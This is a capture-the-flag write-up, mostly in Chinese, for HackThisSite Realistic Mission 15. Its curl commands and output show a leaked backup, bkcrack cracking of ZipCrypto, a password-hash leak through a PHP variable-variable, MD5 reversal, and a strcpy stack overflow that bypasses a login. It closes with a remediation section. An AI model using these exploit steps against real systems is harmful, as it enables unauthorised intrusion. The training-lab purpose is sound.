HackThisSite - Realistic Mission 15

Challenge

secuLas Ltd. is an industry leader in defense and special mission lasers. Somewhere behind the glossy corporate site there is a leaked backup and an internal area; get access to the "latest patents and developments" section and prove the credentials can be bypassed.

secuLas Ltd. 是一家国防/特种激光承包商。光鲜的企业站背后泄露了一份备份文件,内部管理区里有一个"最新专利与进展"查看器。目标是进入该区域,证明它的凭据校验可被绕过。

入口 /missions/realistic/15/ 是静态企业站(index.htm,4423 字节),导航只有 products.php / questions.php / imprint.php / jobs.php。全部页面源码里都没写链接,真正的突破点是站点根目录下一个没被引用的备份目录。

Solution

Recon:

  • 遍历所有页面源码,views 里找不到任何登录入口,但把常见目录名拼上去试的时候 /_backups_/ 返回 200 并列出 backup.zip —— 目录列表没关。
  • backup.zip 里的条目是 ZipCrypto(传统 PKZIP)加密的,但 ZIP 目录表可读,条目名和压缩后大小都暴露。其中 misc (files from different folders)/index.htm 正好是站点首页同名文件,可以拿去当已知明文。
  • 解出备份里的 shell.php / msgauth.php 源码后,所有漏洞都在源码里明摆着。

Step 1: 拿到泄露的备份

1
2
3
4
5
6
7
$ curl -s -o /dev/null -b "HackThisSite=<mission-cookie>" \
-w "%{http_code} %{size_download}B\n" \
"https://www.hackthissite.org/missions/realistic/15/_backups_/"
200 1138B

$ curl -s -O -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/_backups_/backup.zip"

(对照:把 _backups_ 换成 backup.zip 直连站点根目录返回 404,说明文件只在那个未引用的目录里。)

1
2
3
4
5
6
7
8
9
$ unzip -v backup.zip
Length Method Size Cmpr Date Time CRC-32 Name
0 Stored 0 0% 2004-12-09 04:55 00000000 internal_messages/
336 Defl:N 212 37% 2004-12-09 04:44 19438da1 internal_messages/msgshow.php
965 Defl:N 399 59% 2004-12-11 23:02 daaac094 internal_messages/msgauth.php
0 Stored 0 0% 2004-12-06 01:51 00000000 misc (files from different folders)/
4423 Defl:N 1245 72% 2004-12-05 01:41 2fc997cc misc (files from different folders)/index.htm
16860 Defl:N 6010 64% 2004-12-06 01:51 5f67992e misc (files from different folders)/shell.php
22584 7866 65% 6 files

Step 2: 已知明文攻击 (bkcrack)

ZipCrypto 的已知明文攻击只需要一段未加密的原文和它在密文里的对应关系。站点上的 index.htm 就是备份里那个同名文件,下载下来压缩,凑出和密文条目逐字节一致的 deflate 流即可。

1
2
3
4
$ curl -s -o index.htm -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/index.htm"
$ ls -l index.htm
-rw-r--r-- 1 kita kita 4423 ... index.htm

备份里该条目的压缩后大小是 1245 字节。逐一试 deflate 级别,级别 6 命中最接近的 1245 字节(plain6.zip),压缩流 CRC 与备份一致(2fc997cc):

1
2
3
4
$ zip -6 plain6.zip index.htm
$ unzip -v plain6.zip
Length Method Size Cmpr Date Time CRC-32 Name
4423 Defl:N 1245 72% 2026-09-11 15:36 2fc997cc index.htm

bkcrack 做攻击(-C 密文归档、-c 密文条目、-P 明文归档、-p 明文条目):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \
-C backup.zip \
-c 'misc (files from different folders)/index.htm' \
-P plain6.zip \
-p index.htm \
-o 0
bkcrack 1.8.1 - 2025-10-25
[15:36:06] Z reduction using 1238 bytes of known plaintext
0.0 % (0 / 1238) ... 100.0 % (1238 / 1238)
[15:36:06] Attack on 7443 Z values at index 43
0.4 % (27 / 7443) ... 70.4 % (5238 / 7443)
Keys: f23a33d0 106331c0 6fd03c13
[15:36:06] Keys
f23a33d0 106331c0 6fd03c13

拿到三组内部 key f23a33d0 106331c0 6fd03c13。用 -D 生成整包解密的新归档(注意不是 -d-d 只解密单个条目的数据流,写不出可解压的归档):

1
2
3
4
5
6
7
8
9
10
11
12
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \
-C backup.zip -k f23a33d0 106331c0 6fd03c13 -D decrypted.zip
bkcrack 1.8.1 - 2025-10-25
[15:36:16] Writing decrypted archive data/decrypted.zip
100.0 % (6 / 6)

$ unzip -o decrypted.zip -d decrypted
$ find decrypted -type f
decrypted/internal_messages/msgshow.php
decrypted/internal_messages/msgauth.php
decrypted/misc (files from different folders)/index.htm
decrypted/misc (files from different folders)/shell.php

Step 3: 源码分析 —— msgauth.php 与 shell.php

internal_messages 目录里的两个文件构成一套内部留言认证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
/* --- called by msgshow.php --- */
session_start();
if ($_SESSION['msgauth'][$msg_username] != "OK")
{
if (strlen($msg_username)==0 || strlen($msg_password)==0 || strlen($filename)==0)
die();
$msg_password = addcslashes($msg_password, ".[(*$^+\|");
$msg_username = addcslashes($msg_username, ".[(*$^+\|");
$fp = @fopen("files/" . $filename, "r");
if (!$fp) die();
while(!feof($fp) && $_SESSION['msgauth'][$msg_username] != "OK") {
$strLine = fgets($fp,200);
if (ereg($msg_username . ": " . $msg_password . "\r*\n*$", $strLine, $regs))
$_SESSION['msgauth'][$msg_username] = "OK";
}
fclose($fp);
if ($_SESSION['msgauth'][$msg_username] != "OK") die("wrong username/password!");
}
?>

两个问题:$filename 直接拼进 fopen("files/" . $filename) —— 路径穿越,可以读站点任意文件;同时凭据比对用的是 ereg()(用户输入当正则,只转义了 .[(*$^+\|? { } 等元字符没转义),既是正则注入又是子串匹配,只要目标文件里存在一行能被模式命中的文本就能通过。设计意图是让攻击者把 $filename 指到页面自身的 meta 标签。

shell.php(MyShell,seculas 版)的认证相关部分(两个 $shellPswd_* 在备份里已被打码):

1
2
3
4
5
$selfSecure = 1;
$shellUser_root = "root";
$shellPswd_root = "********************************"; // hash removed in this backup-file
$shellUser_others = "others";
$shellPswd_others = "********************************"; // hash removed in this backup-file

校验段与 401 分支:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$MyShellVersion =  "MyShell 1.1.0 build 20010923 ".$$PHP_AUTH_USER;
if($selfSecure){
if (!(($PHP_AUTH_USER==$shellUser_root && md5(md5($PHP_AUTH_PW))==$shellPswd_root ) ||
($PHP_AUTH_USER==$shellUser_others && md5(md5($PHP_AUTH_PW))==$shellPswd_others) )) {
Header('WWW-Authenticate: Basic realm="MyShell');
Header('HTTP/1.0 401 Unauthorized');
echo "<html>
<head>
<title>$MyShellVersion</title>
</head>
<h1>Access denied</h1>
a warning message with your user agent string<br><b>" .
$HTTP_SERVER_VARS["HTTP_USER_AGENT"] . "</b><br> has been sent to the administrator
<hr>
<em>modified $MyShellVersion</em>";
}
}

两点很关键:

  1. 密码用双重 MD5 存储:md5(md5($PHP_AUTH_PW))
  2. ".... ".$$PHP_AUTH_USER —— 这是一个变量变量(variable variable)。$$PHP_AUTH_USER 取的是名字等于 $PHP_AUTH_USER 值的那个变量。而 $MyShellVersion 在认证失败时会被回显到 401 页面上。所以只要用一个变量名当用户名去认证,服务器就会把那个变量的值打印出来。

用用户名 shellPswd_root 发一次注定失败的 Basic 请求:

1
2
3
4
5
$ curl -s -u 'shellPswd_root:wrongpass' -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \
-o /dev/null -w "%{http_code}\n" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"
401

响应体:

1
2
3
4
5
6
<title>MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</title>
</head>
<h1>Access denied</h1>
a warning message with your user agent string<br /><b>&lt;ua&gt;</b><br /> has been sent to the administrator
<hr>
<em>modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</em>

root 的双重 MD5 哈希 9e71fc2a99a71b722ead746b776b25ac 就这样漏了出来。反推:

1
2
3
4
5
6
7
8
import hashlib

target = "9e71fc2a99a71b722ead746b776b25ac"
h1 = hashlib.md5(b"foobar").hexdigest() # 3858f62230ac3c915f300c664312c63f
h2 = hashlib.md5(h1.encode()).hexdigest() # 9e71fc2a99a71b722ead746b776b25ac
print(h1)
print(h2)
print("match:", h2 == target)
1
2
3
3858f62230ac3c915f300c664312c63f
9e71fc2a99a71b722ead746b776b25ac
match: True

明文是 foobar

Step 4: 登入 MyShell 并枚举

admin_area/ 目录本身开启目录保护,/admin_area/ 直接访问返回 Forbiddenshell.php 走独立的 HTTP Basic 认证,还需要一个本站 Referer,否则返回 Invalid Referer

1
2
3
4
5
6
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/15/" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \
| grep -o "MyShell 1.1.0 build 20010923\|Current User: <a[^>]*>[^<]*"
MyShell 1.1.0 build 20010923
Current User: <a href="#">wwwrun

运行身份 wwwrun,初始 cwd /srv/www/htdocs/admin_area/。这个 MyShell 是个被裁剪过的版本:只放行 ls,且参数必须以 - 开头(纯 flag)。带别的东西一律回 Heh I can't really let you mess around with my server!

1
2
3
4
5
6
7
8
9
10
11
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \
-e ".../admin_area/shell.php" --data-urlencode "command=ls -la" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"
drwxr-xr-x 2 root root 4096 Dec 4 20:23 .
drwxr-xr-x 2 root root 4096 Dec 4 21:23 ..
drwxr-xr-x 2 root root 4096 Dec 3 17:14 helpdesk
drwxr-xr-x 2 root root 4096 Dec 4 20:32 mypr0n
-r-xr-xr-x 1 root users 6491 Dec 4 20:01 shell.php
drwxr-xr-x 2 root root 4096 Dec 4 21:23 test
-r-xr-xr-x 1 root users 1608 Dec 3 12:19 viewpatents.php
-rw-r--r-- 1 root root 390 Dec 4 21:21 viewpatents2.php

对照测试确认了这条过滤器规则 —— lsls -lls -als -la 通过;ls /ls .ls -la testpwdecho hicat viewpatents2.phpmore ...head ...uname -a 全部被拒:

1
2
3
4
5
6
[ls        ] helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php
[ls -la ] <完整长列表,见上>
[pwd ] Heh \n I can't really let you mess around with my server!
[ls / ] Heh \n I can't really let you mess around with my server!
[ls -la test] Heh \n I can't really let you mess around with my server!
[cat viewpatents2.php] Heh \n I can't really let you mess around with my server!

shell 只能列目录,读不到文件内容。目标落到 viewpatents.php —— 这几十字节的文件名恰好就是"专利查看"入口。它也直接暴露在 admin_area/ 下,且受 Basic 保护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php"
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>latest patents and developments</title>
</head>
<body>
<b><u><div style="text-align:center";>&nbsp;View latest patents and developments &nbsp;</div></u></b>

<form action="viewpatents2.php" method="post">
<table border="0" cellpadding="0" cellspacing="0" width="80%" align="center">
<tbody>
<tr>
<td style="width:45%; text-align:right">Username: &nbsp;</td>
<td><input name="username" value="" type="text"></td>
</tr>
<tr>
<td style="text-align:right";>Password: &nbsp;</td>
<td><input name="password" value="" type="text"></td>
</tr>
</tbody>
</table>
</form>

Step 5: 下载校验器源码

test/ 里有一个可直连下载的校验器源码包 /admin_area/test/chkuserpass.c.zip

1
2
3
$ curl -s -b "HackThisSite=<mission-cookie>" -o chkuserpass.c.zip \
"https://www.hackthissite.org/missions/realistic/15/admin_area/test/chkuserpass.c.zip"
$ unzip -o chkuserpass.c.zip

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
char checkit(char* username, char* password, char* hash)
{
char is_pass_correct = 'N'; /* initialize to NO */
char *fillstring = "_T*4$n"; /* Use this string to make a */
/* less than 4chars password */
/* longer */
char concatenated[200];
strcpy(concatenated, username);

/* if a password is less than 4 chars long, */
/* add some extra characters */
if (strlen(password) < 4)
strcat(concatenated, fillstring);

strcat(concatenated, password);

if (strcmp(mymd5(concatenated), hash) == 0)
is_pass_correct = 'Y';

return is_pass_correct;
}

漏洞在 strcpy(concatenated, username)concatenated 只有 200 字节,username 完全由请求方控制,没有任何长度检查。栈上 is_pass_correct 就挨着这块缓冲区,一个超过缓冲区长度的 username 会溢出并覆盖它 —— 而 is_pass_correct 只要不等于 'N' 就会被当成"通过"(返回给上层做判断)。用等长的 Y(0x59)填满到该变量即可把它改成 'Y'

Step 6: 228 个大写 Y 触发溢出

viewpatents2.php 直接把表单的 username 送进 chkuserpass。提交 228 个大写 Y,密码留空:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ PAYLOAD=$(python3 -c "print('Y'*228)")
$ echo -n "$PAYLOAD" | wc -c
228

$ curl -s -i -b "HackThisSite=<mission-cookie>" -A "<ua>" \
-e "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php" \
--data-urlencode "username=$PAYLOAD" --data "password=" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"
HTTP/2 200
content-type: text/html
content-language: en
server: HackThisSite

<center><div style="width:80%"><div class="dark-td"><h2>Congrats</h2></div>
<div class="light-td">Good Job, ***, You have successfully completed Mission 15<br /></div></div></center>

服务端直接返回里程碑页。

普通短用户名则被正常拒绝:

1
2
3
4
$ curl -s -b "HackThisSite=<mission-cookie>" \
--data "username=admin" --data "password=test" \
"https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"
Access denied! <br />Your IP and useragent were logged!<br />

Access denied! 是凭据错误的正常分支;228 个 Y 走的是溢出分支,说明 is_pass_correct 被成功覆盖成 'Y',凭据校验被绕过,Mission 15 完成。

Vulnerabilities

  • 未引用的公开目录 + 目录列表/_backups_/ 没有被任何页面引用,却开着目录索引,直接泄露 backup.zip。备份本身把应用源码、认证逻辑和配置常量一起打包带走。
  • ZipCrypto 已知明文恢复:传统 PKZIP 加密对已知明文毫无抵抗力。归档里只要有一个文件能在站上拿到明文(index.htm),就能恢复三组 key 并整包解密。
  • 变量变量泄露敏感常量$MyShellVersion = ".... ".$$PHP_AUTH_USER; 把用户可控的"变量名"当变量去取值,并在 401 错误页回显,于是 shellPswd_root(root 密码哈希)被直接打印。md5(md5()) 存储也挡不住这种泄露。
  • 凭据比对用 ereg() + 用户可控文件名msgauth.php 把用户输入当正则、"files/" 前缀后又允许 ../ 穿越,既能读任意文件又能用正则/子串匹配绕过比对。
  • 栈缓冲区溢出chkuserpass.cstrcpy(concatenated, username) 对 200 字节缓冲无边界检查,可覆盖栈上相邻的 is_pass_correct 布尔标记,从而在校验未通过的情况下返回 'Y'
  • 被裁剪的 shell 不是安全边界:MyShell 只放行 ls 属于"限制命令"而非"消除权限",只要还有一个可写入口(viewpatents2.php)能触达有漏洞的原生程序,限制 shell 就形同虚设。

修复方向:备份目录移出 Web 根、关闭目录索引;不要用 ZIP 传统加密存放源码,改用发布产物 + 强加密;认证比较用常量时间函数并在校验前完成,绝不把内部常量通过变量插值回显;文件读取用固定资源 id 映射,禁止把用户输入当路径或正则;原生校验程序用 strncpy/长度检查并独立存布尔结果,别让缓冲区与结果相邻。